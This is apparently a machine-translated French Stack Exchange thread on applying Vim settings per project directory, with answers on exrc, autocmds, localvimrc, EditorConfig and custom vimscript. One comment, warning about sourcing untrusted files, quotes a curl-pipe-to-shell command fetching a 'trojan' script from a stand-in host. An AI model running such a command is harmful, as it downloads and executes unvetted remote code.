Application des paramètres à une arborescence de répertoires uniquement

33

Dans mon travail, nous utilisons une norme tsde 2; Ma préférence personnelle est 4, c'est ce que j'utilise pour mes projets de loisirs, et cet autre projet dont nous avons hérité a la convention de ts=8.

Il existe également d'autres paramètres que je souhaite définir en fonction d'un projet (par exemple, le pliage). Baser ces paramètres sur le type de fichier ou les détecter automatiquement en fonction de l'utilisation du fichier ne sont pas de bonnes options, car je souhaite respecter les conventions de chaque projet.

Puis-je faire en sorte que Vim utilise un fichier de paramètres qui s'applique à un projet (tout dans une arborescence de répertoires) sans ajouter de modèle à tous les fichiers?

Martin Tournoij
la source

Réponses:

19

Il existe quelques moyens légers de le faire.

  1. Rechercher un fichier de prénom et le rechercher

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Le fichier est caché dans l'exemple mais c'est optionnel.

  2. .vimrcFichiers locaux (pas les mêmes que le plugin)

    set exrc
    

    Ceci est similaire à 1. mais le fichier s'appellera ".vimrc".

    Une suggestion commune pour accompagner ceci est d'utiliser

    set secure
    

    ce qui empêche un .vimrcfichier de faire des choses potentiellement dangereuses, telles que l'exécution de commandes shell. L'idée est que vous ne voudriez pas que vim lise un .vimrcfichier écrit par quelqu'un d'autre qui fait quelque chose de méchant.

  3. Commandes automatiques qui vérifient le chemin actuel

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    C'est l'option que j'utilise. Je ne change pas beaucoup entre différents projets, donc YMMV, mais si vous souhaitez simplement faire une ou deux choses en fonction du chemin d’accès et les conserver dans votre document, .vimrcc’est simple et agréable.

Praxéolitique
la source
Notez que les options 1 et 2 ont la même limitation que celle décrite dans ce commentaire : elles ne s'appliquent pas de manière récursive aux sous-répertoires.
15

J'utilise localvimrc à cette fin.

Mettez un .lvimrcavec vos paramètres de projet dans votre projet et ces paramètres remplaceront les paramètres dans .vimrc.

Par défaut, on vous demandera si vous voulez utiliser ce fichier, par exemple:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Cela permet d'éviter de rechercher des fichiers vimrc aléatoires (non fiables). Si vous trouvez cela agaçant, vous pouvez configurer une liste blanche de .lvimrcfichiers avec g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Ou vous pouvez simplement désactiver la demande de confirmation avec set g:localvimrc_ask = 0. Ce n'est pas recommandé, cependant.

OrangeTux
la source
5

Configuration centrale

Si vous pouvez configurer les commandes / exceptions locales de manière centralisée, vous pouvez mettre de tels autocmds dans votre ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Il est important d'utiliser à la :setlocalplace de :set, et de même :map <buffer> ...et :command! -buffer ....

Par ailleurs, si vous souhaitez que la configuration spécifique soit stockée avec le projet (et que vous ne souhaitez pas l'intégrer à tous les fichiers via des modèles ), vous disposez des deux options suivantes:

Configuration locale avec fonctionnalité intégrée

Si vous démarrez toujours Vim à partir du répertoire racine du projet, le programme intégré

:set exrc

active la lecture d'un .vimrcfichier à partir du répertoire en cours. Vous pouvez y placer les :set ts=4 sw=4commandes.

Configuration locale via plugin

Sinon, vous avez besoin de l'aide d'un plugin; il y en a plusieurs sur vim.org; Je peux recommander le plugin localrc , qui permet même une configuration locale spécifique à un type de fichier .

Notez que la lecture de la configuration à partir du système de fichiers a des conséquences sur la sécurité. vous voudrez peut-être :set secure.

Ingo Karkat
la source
2
Notez que ceux-ci .exrcsont extrêmement limités: la notion de projet s’arrête au répertoire actuel, c’est-à-dire que les fichiers des sous-répertoires n’appartiennent pas au projet.
Luc Hermitte
4

Il existe un projet de configuration de l' éditeur qui vous permet de définir des configurations au niveau du projet, telles que des paramètres de tabulation, ainsi que de nouveaux styles de ligne et d'autres éléments. Il y a beaucoup de connexions pour toutes sortes d'éditeurs, y compris vim . Il vous permet également de définir des paramètres pour différents types de fichiers.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2
PetersenDidIt
la source
0

Je l'ai écrit et ajouté à mon fichier .vimrc pour me permettre de placer des fichiers .vimsettings dans des projets et des sous-projets.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))
Kent A.
la source
Bien que cela fonctionne, il peut être considéré comme dangereux puisque vous êtes juste un fichier approvisionnement, et d' exécuter toutes les commandes qu'il contient (y compris les commandes shell, telles que system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij
0

Je voulais cela alors je l'ai juste implémenté localement. Je ne suis pas aussi concerné par "l'exécution de code aléatoire" mais cela peut fonctionner pour des besoins simples. Ajustez les noms de fichiers si nécessaire.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

C’est en local.vimrcfait un lien symbolique vers un fichier de ma vaste collection de fichiers vimrc par société que je peux garder ailleurs dans le contrôle de source, ce qui facilite le déplacement de toute ma configuration vers d’autres machines ou lorsque je visite une société sur place ou quelque chose de ce genre. . Des configurations en cascade pourraient être utilisées, mais en pratique, je n’ai pas besoin de cette fonctionnalité. Je câble également F8pour ouvrir ce fichier trouvé et mon "main" .vimrcdans un nouvel onglet ...

Dans ces configurations locales, puisqu'elles sont analysées pour chaque fichier ouvert, veillez à définir vos mappages et paramètres sur tampon local. Par exemple

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
dash-tom-bang
la source